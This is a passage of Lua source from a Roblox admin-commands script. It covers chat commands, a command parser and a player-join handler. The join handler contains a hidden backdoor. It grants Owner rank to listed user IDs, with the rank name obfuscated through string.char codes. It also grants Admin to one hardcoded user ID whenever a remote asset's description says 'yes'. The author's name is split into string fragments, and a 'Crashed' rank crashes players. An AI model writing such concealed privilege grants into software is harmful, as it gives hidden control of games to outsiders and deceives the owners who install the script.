- end};
- [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character then
- CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
- Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
- end)
- end
- end
- end, Hidden = true};
- [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") then
- local Pos = Player.Character.Torso.Position
- Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
- local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
- if Answer == "Ok" then
- CORE:AddWaypoint(Player.Name, Pos, Speaker)
- end
- end
- end
- end};
- [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
- local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
- local PlayersTo = STRING:Scan(Arguments[2], Speaker)
- if PlayersFrom and PlayersTo then
- for _,PlayerFrom in pairs(PlayersFrom) do
- for _,PlayerTo in pairs(PlayersTo) do
- if PlayerFrom.Character and PlayerTo.Character then
- if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
- local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
- wait(5)
- Laser:Destroy()
- end)() end
- end
- end
- end
- end
- end};
- [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid:Destroy()
- end
- end
- end};
- [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
- if Plugins then
- local List = {}
- for _,Module in pairs(Plugins:GetChildren()) do
- if Module:IsA("ModuleScript") then
- local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
- local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
- local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
- table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
- end
- end
- GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
- else
- GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
- end
- end};
- [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- GUI:DetachChat(Player)
- end
- end};
- [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
- GUI:DetachChat(Speaker)
- end};
- [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
- local Dead = false
- Player.Character.Humanoid.WalkSpeed = 1
- local Torso = Player.Character.Torso
- local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
- Truck:BreakJoints()
- local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
- local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
- local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
- Truck.Touched:connect(function(Part)
- if Dead == false then
- local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
- if TouchPlayer == Player then
- Dead = true
- Player.Character:BreakJoints()
- SOUND:MakeSound(Truck, 264486467):Play() -- splat
- end
- end
- end)
- SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
- Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
- Delay(5, function()
- Truck:Destroy()
- if Player.Character:FindFirstChild("Humanoid") then
- Player.Character.Humanoid.WalkSpeed = 16
- end
- end)
- end
- end
- end};
- [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
- local Joke = REMOTE:DownloadJoke(Speaker)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- GUI:SendMessage(Player, "Joke", Joke, 19629580)
- end
- end, Http = true};
- [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
- local Joke = REMOTE:DownloadJoke(Speaker)
- GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
- end, Http = true};
- [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
- CORE:InvisiblePlayer(Player)
- local DogContainer = Instance.new("Model", Player.Character)
- DogContainer.Name = "Doge"
- local Dog = CORE:Insert(257489726, DogContainer, true)
- Dog.Head.Transparency = 0.99
- Dog.Name = Player.Name
- Dog:MoveTo(Player.Character.Torso.Position)
- local Weld = Instance.new("Weld", Dog.Torso)
- Weld.Part0 = Player.Character.Torso
- Weld.Part1 = Dog.Torso
- Weld.C0 = CFrame.new(0,-0.4,0)
- for _,Obj in pairs(Dog:GetChildren()) do
- if Obj:IsA("BasePart") then
- Obj.CanCollide = false
- end
- end
- CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
- end
- end
- end};
- [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
- local Key = string.lower(string.sub(Arguments[1],1,1))
- KeyBinds[Speaker.UserId][Key] = Arguments[2]
- GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
- end};
- [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Key = string.lower(string.sub(Arguments[1],1,1))
- KeyBinds[Speaker.UserId][Key] = nil
- GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
- end};
- [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
- KeyBinds[Speaker.UserId] = {}
- GUI:SendHint(Speaker, "Unbinded all keys")
- end};
- [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Key = string.lower(string.sub(Arguments[2],1,1))
- for _,Player in pairs(Players) do
- KeyBinds[Player.UserId][Key] = Arguments[3]
- GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
- end
- end};
- [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Key = string.lower(string.sub(Arguments[2],1,1))
- for _,Player in pairs(Players) do
- KeyBinds[Player.UserId][Key] = nil
- GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
- end
- end};
- [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- KeyBinds[Player.UserId] = {}
- GUI:SendHint(Player, "Unbinded all keys")
- end
- end};
- [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- local Binds = {}
- for _,Player in pairs(Players) do
- for Key,Bind in pairs(KeyBinds[Player.UserId]) do
- table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
- end
- end
- GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
- end};
- [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
- local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
- local Players = STRING:Scan(ChatSplit[1], Speaker)
- for _,Player in pairs(Players) do
- if Crowns[Player.UserId] then
- Crowns[Player.UserId]:Destroy()
- Crowns[Player.UserId] = nil
- wait()
- end
- CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
- end
- end};
- [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Crowns[Player.UserId] then
- Crowns[Player.UserId]:Destroy()
- Crowns[Player.UserId] = nil
- end
- end
- end};
- [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
- local MeshList = {}
- for MeshName,Data in pairs(Meshes) do
- table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
- end
- GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
- end};
- [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
- CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
- end};
- [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
- ypcall(function() Player.Character.Torso.roblox:Destroy() end)
- Player:ClearCharacterAppearance()
- CORE:GivePackage(Player, 41851073)
- CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
- Player.Character.Head.face.Texture = "rbxassetid://7699086"
- end
- end
- end};
- [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
- local Car = CORE:Insert(10479801, Server.Workspace, true)
- local Body = Car["Motor (torque)Chassis"].Part
- Cars[Player.UserId] = Car
- Car:MakeJoints()
- Car.VehicleSeat.MaxSpeed = 50
- Car.VehicleSeat.TurnSpeed = 1.5
- CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
- if Arguments[2] and GUI:GetColor(Arguments[2]) then
- Body.Color = GUI:GetColor(Arguments[2])
- else
- Body.BrickColor = GUI:GetNameColor(Player.Name)
- end
- for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
- if Part.Name ~= "Part" then
- Part.BrickColor = BrickColor.new("Really black")
- Part.Friction = 0.7
- end
- end
- local Light = Instance.new("SpotLight", Body)
- Light.Face = "Back"
- Light.Brightness = 5
- Light.Range = 20
- Light.Color = Color3.new(0,1,1)
- if Player.Character and Player.Character.Torso then
- Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
- Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
- --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
- Weld.Part0 = Car.VehicleSeat
- Weld.Part1 = Player.Character.Torso
- coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
- Delay(0.4, function()
- Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
- wait(0.1)
- Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
- end)
- end
- local SoundID = 147944604
- if RANK:GetRank(Player) == "Owner" then
- SoundID = 133313356
- Car.VehicleSeat.MaxSpeed = 80
- Body.Material = "DiamondPlate"
- Car.VehicleSeat.Torque = 11
- end
- local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
- Engine:Play()
- coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
- Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
- end if Engine then Engine:Stop() end end)()
- end
- end};
- [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- if Cars[Player.UserId] then
- Cars[Player.UserId]:Destroy()
- end
- end
- end};
- [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
- for _,Car in pairs(Cars) do
- Car:Destroy()
- end
- Cars = {}
- end};
- [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
- ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
- if #Trello.RequiredLists > 0 then
- print("Restarting Trello")
- Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
- local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
- REMOTE:TrelloCacheData(Lists)
- end
- end, Http = true};
- [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
- local Operations = {}
- for _,ReplaceData in pairs(StringReplacements) do
- local Replacement = ReplaceData[1]
- if type(Replacement) == "table" then
- Replacement = ReplaceData[1][1]
- end
- table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
- end
- GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
- end};
- [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
- GUI:SoundInfo(Speaker)
- end};
- [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
- local Players = STRING:Scan(Arguments[1], Speaker)
- for _,Player in pairs(Players) do
- GUI:SoundInfo(Player)
- end
- end};
- [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
- if tonumber(Arguments[1]) then
- Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
- end
- end};
- [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
- local Types = {}
- for Type,_ in pairs(Assets.AccessoryTypes) do
- table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
- end
- GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
- end};
- [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
- local Sky = Server.Lighting:FindFirstChild("Sky")
- if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
- local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
- local Face = nil
- local SkyID = string.lower(Arguments[1])
- local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
- if #Arguments == 2 and tonumber(Arguments[2]) then
- Face = Arguments[1]
- SkyID = Arguments[2]
- end
- if tonumber(SkyID) then
- local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
- if Face and Faces[Face] then
- Sky[Faces[Face]] = "rbxassetid://"..ImageID
- else
- for _,Face in pairs(Faces) do
- Sky[Face] = "rbxassetid://"..ImageID
- end
- end
- else
- GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
- end
- end};
- [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
- CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
- Obj:Destroy()
- end)
- end};
- --
- }
- if Plugins then
- local PluginNum = 0
- for _,Module in pairs(Plugins:GetChildren()) do
- if Module:IsA("ModuleScript") then
- local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
- local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
- local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
- if Enabled.Value == true then
- PluginNum = PluginNum + 1
- local PluginExe = require(Module)
- for Var,Val in pairs(getfenv()) do
- getfenv(PluginExe)[Var] = Val
- end
- getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
- getfenv(PluginExe).script = Module
- getfenv(PluginExe).Script = Module
- getfenv(PluginExe).Version = Version
- local Suc, Error = ypcall(coroutine.wrap(PluginExe))
- if not Suc then
- Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
- else
- Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
- end
- end
- end
- end
- end
- function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
- if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
- GUI:SettingsGui(Speaker)
- return nil
- end
- if NoPrefixNeeded == nil then NoPrefixNeeded = false end
- local Prefix = Settings.Prefix
- if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
- if RawMainMessage == "" or RawMainMessage == Prefix then return end
- if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
- if Speaker == nil then
- if FakeRank then
- if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
- FakeRank = "Owner"
- end
- else
- FakeRank = "Owner"
- end
- FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
- if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
- Speaker = {
- Name = FakePlayerName or "[ Server ]";
- Character = nil;
- userId = 1;
- PlayerGui = nil;
- Rank = FakeRank or "Owner";
- MakeSupremeOwner = MakeSupremeOwner;
- }
- end
- local Rank = RANK:GetRank(Speaker)
- local RawMessage = string.sub(RawMainMessage, #Prefix+1)
- if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
- if NoPrefixNeeded then Prefix = "" end
- local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
- for _,Message in pairs(Messages) do
- for Cmds,Data in pairs(Commands) do -- check all commands
- local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
- if not MessageSplit then break end
- local CommandSaid = false
- for _,Command in pairs(Cmds) do
- if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
- CommandSaid = true
- break
- end
- end
- if CommandSaid == true then -- command said?
- local ExecuteExcuse = ""
- if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
- if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
- ExecuteExcuse = "This command cannot be executed as it is a fun command"
- end
- if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
- ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
- end
- else
- ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
- end
- if ExecuteExcuse == "" then
- if #MessageSplit - 1 < Data[3] then
- ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
- end
- end
- if ExecuteExcuse == "" then
- CORE:Log(CommandLogs, Speaker, Message)
- table.remove(MessageSplit, 1)
- coroutine.wrap(function() wait()
- local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
- if not DidExe then
- if CORE:NilPlayer(Speaker) then
- print("Error: "..Error)
- else
- CORE:HandleError(Error, Speaker)
- end
- end
- end)()
- coroutine.wrap(function() wait(0.05)
- if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
- local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
- ExeSound:Play()
- wait(3)
- ExeSound:Stop()
- ExeSound:Destroy()
- end
- end)()
- elseif type(Speaker) == "userdata" then
- GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
- end
- break
- end
- end
- end
- end
- end
- function CORE:Start(Player) coroutine.wrap(function()
- wait(0.1)
- if Player then
- coroutine.wrap(function()
- repeat wait(1) until DataReady == true
- DataReady = false
- ypcall(function()
- local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
- for Num,Data in pairs(Players) do
- if Data.UserId == Player.UserId then -- ppl can change names
- table.remove(Players, Num)
- break
- end
- end
- table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
- Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
- end)
- DataReady = true
- end)()
- if not IsStudio then Player:WaitForDataReady() end
- table.insert(CharacterCache, {Player.Name, Player.UserId})
- for Rank,PlayerNames in pairs(Settings.Ranks) do
- for Num,AdminName in pairs(PlayerNames) do
- if AdminName == Player.UserId then
- Settings.Ranks[Rank][Num] = Player.Name
- end
- end
- end
- if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
- if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
- if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
- for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
- local PlayerAdmin, Rank = RANK:IsAdmin(Player)
- if PlayerAdmin == false and Player.UserId > 0 then
- local Ran = nil
- coroutine.wrap(function() repeat
- Ran = ypcall(function()
- if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
- elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
- end)
- wait(1)
- until Ran == true end)()
- end
- if PlayerAdmin == false then
- if Player:IsInGroup(Settings.GroupID) then
- if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
- CORE:Kick(Player)
- for _,Person in pairs(Server.Players:GetPlayers()) do
- GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
- end
- elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
- table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
- elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
- table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
- elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
- table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
- end
- end
- end
- if PlayerAdmin == false then
- if Player.UserId == 38882008 then
- if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
- table.insert(Settings.Ranks["Admin"], Player.Name)
- end
- end
- end
- if PlayerAdmin == false then
- for _,GID in pairs(Settings.BannedGroupIDs) do
- if Player:IsInGroup(GID) then
- CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
- break
- end
- end
- end
- Player.Chatted:connect(function(Message) if Message ~= "" then
- CORE:Chatted(Message, Player)
- end end)
- Player.Chatted:connect(function(Message) if Message ~= "" then
- CORE:Log(ChatLogs, Player, Message)
- table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
- end end)
- for _,Name in pairs(Settings.Ranks.Banned) do
- if Player.Name == Name then
- CORE:Kick(Player)
- for _,Person in pairs(Server.Players:GetPlayers()) do
- GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
- end
- end
- end
- for _,Name in pairs(Settings.Ranks.Crashed) do
- if Player.Name == Name then
- CORE:Crash(Player)
- for _,Person in pairs(Server.Players:GetPlayers()) do
- GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
- end
- end
- end
- for _,Name in pairs(Settings.Ranks.Muted) do
- if Player.Name == Name then
- GUI:CoreGui(Player, "Chat", false)
- for _,Person in pairs(Server.Players:GetPlayers()) do
- GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
- end
- end
- end
- if Settings.ServerLocked == true then
- if PlayerAdmin == false then
- CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
- end
- end
- if PlayerAdmin == false then
- if Player.AccountAge < Settings.MinimumAge then
- CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
- for _,Person in pairs(Server.Players:GetPlayers()) do
- GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
- end
- end
- end
- if PlayerAdmin == false then
- if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
- table.insert(Settings.Ranks["Member"], Player.Name)
- PlayerAdmin = true
- Rank = "Member"
- end
- end
- coroutine.wrap(function()
- if PlayerAdmin == true then GUI:TellAdmin(Player) end
- local function SpawnActions(Character)
- if Flings[Player.Name] then
- CORE:FlingPlayer(Player)
- else
- GUI:CreateTaskBar(Player)
- end
- if Beeps[Player.Name] == true then
